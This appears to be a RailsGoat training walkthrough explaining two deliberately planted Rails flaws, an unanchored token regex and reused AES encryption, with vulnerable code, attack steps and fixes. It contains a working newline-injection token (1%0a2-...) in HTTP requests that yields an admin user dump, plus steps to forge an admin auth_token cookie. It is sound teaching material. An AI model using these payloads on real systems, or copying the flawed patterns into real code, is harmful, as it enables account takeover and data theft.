Regular expressions are a common way to extract the data you want from the data you do not want. It is common for Ruby developers to forget that in Ruby regexp anchors are \A and \z. This allows strict enforcement so that potentially dangerous characters such as the newline character aren't able to bypass security-based regular expression checks.
Within the file app/controllers/api/v1/users_controller.rb:
before_filter :valid_api_token before_filter :extrapolate_user
The above two lines specify that we will run these validations prior to allowing a user to interact with the API endpoints.
def valid_api_token
authenticate_or_request_with_http_token do |token, options|
# TODO :add some functionality to check if the HTTP Header is valid
identify_user(token)
end
end
def identify_user(token="")
# We've had issues with URL encoding, etc. causing issues so just to be safe
# we will go ahead and unescape the user's token
unescape_token(token)
@clean_token =~ /(.*?)-(.*)/
id = $1
hash = $2
(id && hash) ? true : false
check_hash(id, hash) ? true : false
end
def check_hash(id, hash)
digest = OpenSSL::Digest::SHA1.hexdigest("#{ACCESS_TOKEN_SALT}:#{id}")
hash == digest
end
# We had some issues with the token and url encoding...
# this is an attempt to normalize the data.
def unescape_token(token="")
@clean_token = CGI::unescape(token)
end
This first validation, valid_api_token, extracts the user's access token. Within the token there is a user ID and a hash. The application extracts both values, hashes the user ID and the application's secret salt together. If the digest hash matches with the user provided hash, the entire token is valid.
Meaning, if the hash (check_hash) doesn't match the hash provided by the user, the token is invalid and therefore unauthorized. Alternatively, the hash provided is valid but the user ID is invalid.
The next validation, built after this check, extrapolates the user from that hash. In theory, because we have already validated both the user ID and hash are valid, we can just extract the user ID from what has been provided and determine user access.
# Added a method to make it easy to figure out who the user is.
def extrapolate_user
@user = User.find_by_id(@clean_token.split("-").first)
end
Unfortunately, we've made a mistake. The regular expression can be bypassed by entering a newline character (url encoded: %0a).We meant or expected for a user to enter a token such as:
Authorization: Token token=1-01de24d75cffaa66db205278d1cf900bf087a737
However, the user actually enters:
Authorization: Token token=2%0a1-01de24d75cffaa66db205278d1cf900bf087a737
This means that our token will pass the initial hash check. Additionally, when we perform the split by the hyphen ("-") character, and retrieve the first value from the newly created array (what should be a valid user ID), it will be "2\n1". When performing a find_by_*, ActiveRecord will ignore everything from the newline character on and return the result of the first character. This means, we can become another user!
Broken Regular Expression ATTACK:
As discussed in the Bug Section (above), you can prepend the user ID of the person whose information you would like to retrieve followed by a newline character and your user's valid API token. The following is an example of what our request should look like:
GET /api/v1/users HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token token=2-050ddd40584978fe9e82840b8b95abb98e4786dc
Content-Length: 4
This is the response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-UA-Compatible: IE=Edge
ETag: "6b4caf343a20865de174b2b530b945dd"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: 0ef6e5e91730bfecb9711c0ddad5cc7b
X-Runtime: 0.008342
Connection: close
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"[email protected]",
"first_name":"Jack","id":2,"last_name":"Mannino","password":"b46dd2888a0904972649cc880a93f4dd",
"updated_at":"2014-01-23T16:17:10Z","user_id":2}
We want to access this endpoint as an admin (user ID of 1). We will change our request so that we can emulate being and admin by prepending 1%0a:
GET /api/v1/users HTTP/1.1
Host: railsgoat.dev
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Token token=1%0a2-050ddd40584978fe9e82840b8b95abb98e4786dc
Content-Length: 4
The following is a response from the application (note - we get bonus points because as an admin we can retrieve EVERYONE's data):
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-UA-Compatible: IE=Edge
ETag: "916d3a7b17b24bd84806393e5ef4ccd9"
Cache-Control: max-age=0, private, must-revalidate
X-Request-Id: e56b6bc1c6d6b875249f6d27b9f9450c
X-Runtime: 0.009111
Connection: close
[{"admin":true,"created_at":"2014-01-23T16:17:10Z","email":"[email protected]","first_name":
"Admin","id":1,"last_name":"","password":"c93ccd78b2076528346216b3b2f701e6","updated_at":"2014-01-23T16:17:10Z","user_id":1},
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":"[email protected]","first_name":"Jack","id":2,"last_name":"Mannino",
"password":"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2},{"admin":false,"created_at":
"2014-01-23T16:17:10Z","email":"[email protected]","first_name":"Jim","id":3,"last_name":"Manico","password":
"e1eb29f815193265b57d31bb4d9de140","updated_at":"2014-01-23T16:17:10Z","user_id":3},{"admin":false,
"created_at":"2014-01-23T16:17:10Z","email":"[email protected]","first_name":"Mike","id":4,"last_name":"McCabe",
"password":"df5d9020fa0f31adc4fd279020f587c8","updated_at":"2014-01-23T16:17:10Z","user_id":4},{"admin":false,"created_at":
"2014-01-23T16:17:10Z","email":"[email protected]","first_name":"Ken","id":5,"last_name":"Johnson","password":
"67a2faf94e8e71113617d4b72f851bf0","updated_at":"2014-01-23T16:17:10Z","user_id":5},{"admin":null,"created_at":
"2014-03-09T13:58:28Z","email":"[email protected]","first_name":"test","id":6,"last_name":"test","password":
"05a671c66aefea124cc08b76ea6d30bb","updated_at":"2014-03-09T13:58:28Z","user_id":6},{"admin":null,"created_at":
"2014-03-10T00:13:12Z","email":"[email protected]","first_name":"test","id":7,"last_name":"test","password":
"91482305bacc71bd52612cce07135b77","updated_at":"2014-03-10T00:13:12Z","user_id":7}]
Broken Regular Expression SOLUTION:
There are many things wrong with how we are going about doing this but, for a simple fix, you can anchor the regular expression to reject/ignore newline characters.
def identify_user(token="") # We've had issues with URL encoding, etc. causing issues so just to be safe # we will go ahead and unescape the user's token unescape_token(token) @clean_token =~ /\A(.*?)-(.*)\z/ id = $1 hash = $2 (id && hash) ? true : false check_hash(id, hash) ? true : false end
The Railsgoat application allows employees of Metacorp to choose the Remember Me option at login, which creates a cookie named auth-token. The encryption routine used to generate the auth-token allows the application to extract a user ID. When decrypted, a user ID is extracted and the user is authorized appropriately. This same encryption routine is used elsewhere in the application in a manner such that a clever attacker can generate an auth_token cookie with whatever user ID they prefer and authorize to the application as a different user.
Within the file lib/encryption.rb, there are two encryption related methods that we have exposed:
# Added a re-usable encryption routine, shouldn't be an issue!
def self.encrypt_sensitive_value(val="")
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
aes.encrypt
aes.key = key
aes.iv = iv if iv != nil
new_val = aes.update("#{val}") + aes.final
Base64.strict_encode64(new_val).encode('utf-8')
end
def self.decrypt_sensitive_value(val="")
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
aes.decrypt
aes.key = key
aes.iv = iv if iv != nil
decoded = Base64.strict_decode64("#{val}")
aes.update("#{decoded}") + aes.final
end
We have placed this code under the lib directory so that we have a re-usable encryption routine. This code is used to generate a user's auth_token cookie responsible for authorization and access. However, we've also used this same code when encrypting a user's bank account number. This means, a user can enter in any value they would like and will receive it's encrypted equivalent back from the application. Essentially, a user has the ability to generate the auth_token cookie for any user ID and authorize as that user.
Within the app/models/pay.rb file we have a before hook that will save a user's bank account number as an encrypted value:
# callbacks before_save :encrypt_bank_account_num def encrypt_bank_account_num self.bank_account_num = Encryption.encrypt_sensitive_value(self.bank_account_num) end
Additionally, we render that encrypted value (purposefully) when the show action is created within the app/controllers/pay_controller.rb file:
def show
respond_to do |format|
format.json { render :json => {:user => current_user.pay.as_json} }
end
end
Lastly, we re-use this same routine within the following code is used to create a user's auth_token cookie upon sign-up or creation (app/models/user.rb):
before_create { generate_token(:auth_token) }
def generate_token(column)
begin
self[column] = Encryption.encrypt_sensitive_value(self.user_id)
end while User.exists?(column => self[column])
end
Insecure Encryption Re-use ATTACK:
Navigate to the Pay section of the application. Enter your bank account number but use the number 1 as your bank account number. Once the information is entered and submitted, you'll see the encrypted value of your bank account number (1) returned. URL encode the special characters (+ and ==) and use this value as your auth_token cookie. Navigate to your dashboard and you'll have the ability to access administrative functionality.
Insecure Encryption Re-use SOLUTION:
Create an entirely new encryption routine or create the SHA1 hash with a different salt.